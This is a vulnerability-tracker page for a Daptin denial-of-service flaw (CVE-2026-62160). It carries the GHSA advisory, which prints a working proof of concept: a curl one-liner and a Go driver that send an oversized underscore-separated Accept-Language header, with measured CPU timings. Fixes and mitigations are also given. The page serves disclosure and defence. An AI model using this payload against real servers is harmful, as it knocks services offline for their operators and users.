Skip to main content

Daptin CVE-2026-62160

| EUVDEUVD-2026-114281 HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-10-29 https://github.com/daptin/daptin GHSA-rhj7-vh3v-mcq6
8.7
CVSS 4.0 · Vendor: https://github.com/daptin/daptin
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach unauthenticated HTTP listener on port 8080
  2. Exploit
    Send GET with 256 KiB underscore-separated Accept-Language header
  3. Execution
    Bypass guard, drive quadratic ParseAcceptLanguage scanner
  4. Impact
    Exhaust CPU core, sustained denial of service

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions - remote unauthenticated exploitation against default configurations of Daptin, because LanguageMiddleware is registered on the global gin router that serves the public landing page (/) and unauthenticated /api endpoints, so every request triggers the unfiltered call to language.ParseAcceptLanguage. The only prerequisites are network reachability to the HTTP listener (port 8080 by default) and the ability to send a large Accept-Language header; Go's default net/http MaxHeaderBytes of 1 MiB (not overridden by Daptin) permits payloads large enough to trigger the quadratic path. Limiting factors are minimal: exploitation does not require authentication, user interaction, or a non-default setting, though sustained denial of service requires the attacker to repeat requests (roughly one 256 KiB request every 30 seconds pins one core). The condition is removed only by the master fix, which caps combined '-' and '_' separators at 32 before parsing.

Impact

The vendor CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N) describes a network-reachable, low-complexity, unauthenticated flaw with no user interaction, and the impact is confined to availability (VA:H; VC/VI/SC/SI/SA all N) - consistent with CWE-400 uncontrolled resource consumption. The signals are mostly aligned toward a credible but single-dimension threat: a working proof-of-concept reproducer with captured timings is published in the GHSA advisory (one 256 KiB request consumes ~9-27 s of server CPU; a 1 MiB request exceeds 120 s), so exploitation is cheap and reliable, but no EPSS score was supplied, the CVE is not listed in CISA KEV, and there is no evidence of active exploitation. The vuln.today decision label is 'this_week', not act_now/emergency, which matches a real-but-not-critical priority: a genuine unauthenticated remote DoS that a single low-bandwidth attacker can use to pin a host, yet with no confidentiality or integrity impact and against a niche product. Note one data conflict: the maintainer reports the fix landed on master (commit 2d709509), while the GHSA machine record states 'fixed in: not yet patched' - meaning no tagged release yet carries the fix; verify before relying on an upgrade path.

Exploit ScenarioDerived

A public PoC reproducer (bash one-liner and a Go driver with recorded results) is published in the GHSA advisory. An unauthenticated attacker who can reach Daptin's HTTP listener (port 8080 by default) sends a single GET request whose Accept-Language header is a 256 KiB-1 MiB string of 9-character _-separated tokens; because AV:N/AC:L/PR:N/UI:N, no authentication, interaction, or special positioning is needed. The header bypasses the CVE-2022-32149 guard (which only counts -) and drives golang.org/x/text's quadratic scanner, pinning a CPU core for seconds to minutes per request and enabling sustained denial of service from one low-bandwidth connection.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Oct 30, 2026

Unauthenticated denial of service in Daptin 0.12.x through v0.12.15 allows any remote client that can reach the HTTP listener (port 8080 by default) to pin a server CPU core by sending a single GET request whose Accept-Language header is a few hundred kilobytes of underscore-separated junk tags. The global gin LanguageMiddleware passes the raw header to golang.org/x/text/language.ParseAcceptLanguage, whose CVE-2022-32149 guard only counts '-' separators and therefore does not fire when '_' is used, pushing the parser into its quadratic gobble path (~9-27 s of CPU for a 256 KiB header, >120 s at the 1 MiB net/http header ceiling). Publicly available proof-of-concept code published with the advisory reproduces the timing against the official v0.12.15 release binary; the issue is not listed in CISA KEV and no evidence of active in-the-wild exploitation was provided, though the maintainer fix is currently only committed on master.

Earlier versions of this analysis (1)
v1 Oct 29, 2026 - 17:06

Uncontrolled resource consumption in Daptin's global gin LanguageMiddleware lets an unauthenticated remote client pin server CPU by sending a crafted Accept-Language header to the public landing page or /api endpoints. The middleware passes the raw header to golang.org/x/text/language.ParseAcceptLanguage, whose quadratic scanner is guarded against - separators (CVE-2022-32149) but not against _ separators, which the parser internally aliases to -; a 256 KiB underscore-separated header measured roughly 9-27 seconds of server CPU while the equivalent - payload returned in about 106 ms, and a 1 MiB payload exceeded a 120-second client timeout. Affects github.com/daptin/daptin v0.12.15 and, per source inspection, all earlier 0.12.x releases that wire LanguageMiddleware without their own header limit; the advisory includes a working end-to-end reproducer. No CISA KEV listing or EPSS score was supplied, and no patched release exists yet - the maintainer fix is only on master.

RemediationAI

Upstream fix available (PR/commit); released patched version not independently confirmed. Maintainer commit 2d70950979b51eb6c8b4234dd50558b608ad2ffe ("Harden Accept-Language parsing", https://github.com/daptin/daptin/commit/2d70950979b51eb6c8b4234dd50558b608ad2ffe, PR https://github.com/daptin/daptin-ghsa-rhj7-vh3v-mcq6/pull/1) introduces maxAcceptLanguageSeparators = 32 and an acceptLanguageTooComplex helper that counts combined '-' plus '_' characters, blanking the header in LanguageMiddlewareFunc and falling back to the default language inside GetLanguagePreference before language.ParseAcceptLanguage is ever called; regression tests were added in server/language_test.go covering a normal browser header, a 256 KiB underscore-separated header, and combined separator counting, and go test ./server passes. Because no tagged release containing commit 2d709509 is confirmed, deployments pinned to v0.12.15 or earlier must either build from master/patch server/language.go with the same separator-count short-circuit, or front the service with a reverse proxy that rejects or truncates Accept-Language values beyond normal browser size (real headers carry fewer than 10 separators, so a 32-separator or a few-hundred-byte limit is safe) - the trade-off is that over-broad header limits at the proxy affect only language negotiation, which falls back to the configured default, but a proxy that blocks on total header size still has to accept values below Go's 1 MiB MaxHeaderBytes to be effective; alternatively, lowering Go's MaxHeaderBytes in Daptin's HTTP server config reduces the worst-case per-request cost but does not eliminate the quadratic path for sub-limit payloads. Details and the vendor-recommended code change are in https://github.com/daptin/daptin/security/advisories/GHSA-rhj7-vh3v-mcq6.

Affected VersionsENISA

Daptin < 0.12.26

Affected Packages

go github.com/daptin/daptin no fix
euvd daptin fix: 0.12.26

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw is CWE-400 uncontrolled resource consumption in the interaction between Daptin's HTTP middleware stack and the Go BCP 47 parser. Daptin registers LanguageMiddlewareFunc on the global gin router, so every request - the public landing page at / and the unauthenticated /api endpoints included - causes the verbatim Accept-Language header to be handed to language.ParseAcceptLanguage without any length or character-class filtering. Because Daptin does not override Go's default net/http MaxHeaderBytes of 1 MiB, the parser can be fed nearly a megabyte of attacker-controlled data. golang.org/x/text v0.3.8 added the CVE-2022-32149 mitigation, which rejects inputs containing more than 1000 '-' characters with ErrTagListTooLarge, but the input scanner internally aliases '_' to '-' after that count is taken, so a header composed entirely of underscore-separated 9-character tokens (e.g. '_abcdefghi' repeated) contains zero hyphens, passes the guard, and repeatedly triggers the scanner's gobble path with runtime.memmove over the remaining buffer - O(N squared) bytes moved for N invalid tokens. Daptin further amplifies the cost because resource.CheckErr formats the entire attacker-supplied string into a log line on the error path, and GetLanguagePreference performs a map-based deduplication loop over the resulting tag slice. The parsing library behaviour is upstream in golang.org/x/text/language; the consumption point is Daptin's server/language.go.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/daptin/daptin) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

Unauthenticated network request against a globally-registered middleware (AV:N/AC:L/PR:N/UI:N); impact is CPU exhaustion only, so A:H with C:N/I:N and no scope change.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/daptin/daptin).

CVSS VectorVendor: https://github.com/daptin/daptin

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Patch available
Oct 30, 2026 - 21:18 EUVD
Analysis Updated
Oct 30, 2026 - 19:30 vuln.today
v2 - CVSS changed
CVSS changed
Oct 30, 2026 - 19:23 NVD
8.7 (HIGH)
CVE Published
Oct 29, 2026 - 16:33 cve.org
HIGH

DescriptionCVE.org

Summary

Daptin's LanguageMiddleware (registered as a global gin middleware) calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds.

Affected versions

github.com/daptin/daptin v0.12.15 and (per code inspection of master) all earlier 0.12.x versions that wire LanguageMiddleware on the global gin router without imposing their own size limit on Accept-Language. Verified on:

  • the official release binary daptin-linux-amd64 v0.12.15 built into a Docker image from the project's own Dockerfile (E2E below)
  • master at commit b021ac4ae1f72b7401e851fcf883bc970303c794 by reading server/language.go (the middleware is unchanged)

Privilege required

Unauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated /api style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope.

Vulnerable code

server/language.go (blob SHA b021ac4ae1f72b7401e851fcf883bc970303c794):

go
func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
    pref := GetLanguagePreference(c.GetHeader("Accept-Language"), lm.defaultLanguage)
    c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}

func GetLanguagePreference(header string, defaultLanguage string) []string {
    preferredLanguage := header

    if preferredLanguage == "" || preferredLanguage == "undefined" || preferredLanguage == "null" {
        preferredLanguage = defaultLanguage
    }

    languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage)
    resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage)
    pref := make([]string, 0)
    prefMap := make(map[string]bool)

    if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage {
        // single tag matches default - skip
    } else {
        for _, tag := range languageTags {
            base, conf := tag.Base()
            if conf == 0 {
                continue
            }
            if prefMap[base.String()] == true {
                continue
            }
            prefMap[base.String()] = true
            pref = append(pref, base.String())
        }
    }
    return pref
}

c.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

The resource.CheckErr call on the error path also formats the entire input string into a log line (Failed to parse Accept-Language header [%v]), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 256 KiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.

How Accept-Language reaches ParseAcceptLanguage

Every HTTP request that hits the Daptin API server passes through LanguageMiddleware (registered as a global gin middleware). The middleware sequence is:

  1. The request enters LanguageMiddlewareFunc.
  2. c.GetHeader("Accept-Language") returns the full attacker-supplied header value.
  3. GetLanguagePreference(header, defaultLanguage) is called.
  4. The function passes the unfiltered header into language.ParseAcceptLanguage(preferredLanguage).

No size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler - including the unauthenticated landing page at / and the public API root at /api.

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile:

bash
# Build daptin image (uses prebuilt linux/amd64 release binary)
cd daptin
curl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64
chmod +x daptin-linux-amd64
docker build --platform linux/amd64 -t daptin-poc:v0.12.15 .
# Start it
docker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15
sleep 8
# wait for sqlite migrations + Olric ring
# Attack with a 256 KiB header (smaller than the default 1 MiB ceiling
# because daptin's per-request cost saturates well below 1 MiB)
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 25600, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18888/

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against daptin-linux-amd64 v0.12.15)

A Go driver poc.go boots the container, sends a 256 KiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

go
// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18888/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 120 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 256KiB)", buildPayload("-", 256*1024))
    send("attack ('_' x 256KiB)",     buildPayload("_", 256*1024))
    send("attack repeat 2",            buildPayload("_", 256*1024))
    send("attack repeat 3",            buildPayload("_", 256*1024))
}

Captured run output (Apple M1 Pro, darwin/arm64 host, daptin amd64 binary v0.12.15 running under Docker Desktop with QEMU x86_64 emulation):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
daptin/daptin v0.12.15 LanguageMiddleware at
server/language.go.

Target: http://127.0.0.1:18888/   payload=262144 B

  warm-up                                      header=0 B  '_'=0  '-'=0  status=200  t=19.968ms

--- measurements (single request each) ---
  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=200  t=25.924208ms
  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=200  t=28.398333ms
  guard-fires control ('-' x 256KiB)           header=262142 B  '_'=0  '-'=26214  status=200  t=105.506458ms
  attack ('_' x 256KiB)                        header=262142 B  '_'=26214  '-'=0  status=200  t=26.679448875s
  attack repeat 2                              header=262142 B  '_'=26214  '-'=0  status=200  t=18.012964208s
  attack repeat 3                              header=262142 B  '_'=26214  '-'=0  status=200  t=8.868606042s

A separate run with a 1 MiB payload exceeded the 2-minute client timeout on the attack request, confirming that the cost scales beyond 120 s per request at 1 MiB.

Interpretation:

RequestHeader bytesServer time
no header / short tag0 - 526 - 28 ms
256 KiB - separators (CVE-2022-32149 guard fires)256 KiB106 ms
256 KiB _ separators (guard bypassed)256 KiB9 - 27 s
1 MiB _ separators (guard bypassed)1 MiB> 120 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 256 KiB - payload returns in 106 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes 9-27 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~85-250x on the 256 KiB payload and >1000x on a 1 MiB payload.

The amplification is higher than other consumers of ParseAcceptLanguage because Daptin formats the entire input into a log line via resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage) when parsing fails, and runs additional bookkeeping in GetLanguagePreference (a prefMap deduplication loop over the resulting tag slice).

Impact

  • One unauthenticated client can pin one CPU core for ~9-27 seconds per 256 KiB request, or for at least 120 seconds per 1 MiB request.
  • A single attacker on a 1 Mbit/s uplink can sustain ~1 attack request every 30 seconds, pinning one server core continuously with one TCP connection.
  • A small number of concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Daptin instance indefinitely.
  • The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.

Suggested fix

Apply the size / character-class filter inside LanguageMiddleware (and inside GetLanguagePreference for defence in depth) before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

go
// server/language.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10

func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
    header := c.GetHeader("Accept-Language")
    if strings.Count(header, "-")+strings.Count(header, "_") > maxAcceptLanguageSeparators {
        // Refuse to call into the BCP 47 parser with absurd input.
        header = ""
    }
    pref := GetLanguagePreference(header, lm.defaultLanguage)
    c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.

Credit

Reported by tonghuaroot.

Fix PR

https://github.com/daptin/daptin-ghsa-rhj7-vh3v-mcq6/pull/1

Maintainer fix status

Fixed on master in commit 2d709509 Harden Accept-Language parsing.

The fix caps combined - and _ separators in Accept-Language before calling language.ParseAcceptLanguage, both in LanguageMiddlewareFunc and in GetLanguagePreference for defence in depth. Regression coverage was added in server/language_test.go for normal browser headers, a 256 KiB underscore-separated malformed header, and combined separator counting.

Verification run:

bash
go test ./server -count=1

Result: passed.

Technical POC Analysis

CWE-400 (Uncontrolled Resource Consumption), specifically algorithmic complexity: a quadratic-time scanner driven by attacker-controlled input with no size or shape filter at the application boundary.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Daptin, an API and data management platform, is vulnerable to an unauthenticated denial-of-service that can be triggered by a single crafted HTTP request, exhausting server CPU and disrupting business-critical API services. Leadership should prioritize this because any internet or network-exposed Daptin instance can be taken down with minimal effort, potentially causing service outages and impacting customers or internal operations.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations include restricting network access to the Daptin HTTP listener, deploying rate limiting and header size restrictions at a reverse proxy or WAF, and monitoring for anomalous header lengths.

Threat Intelligence Overview

EPSS Score
0.4%
Top 64% exploitable
Prevalence
Low
niche open-source Go headless backend, limited enterprise deployment footprint
Threat Intel
1
1 source
Data Quality
3 sources
Confidence: Low
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy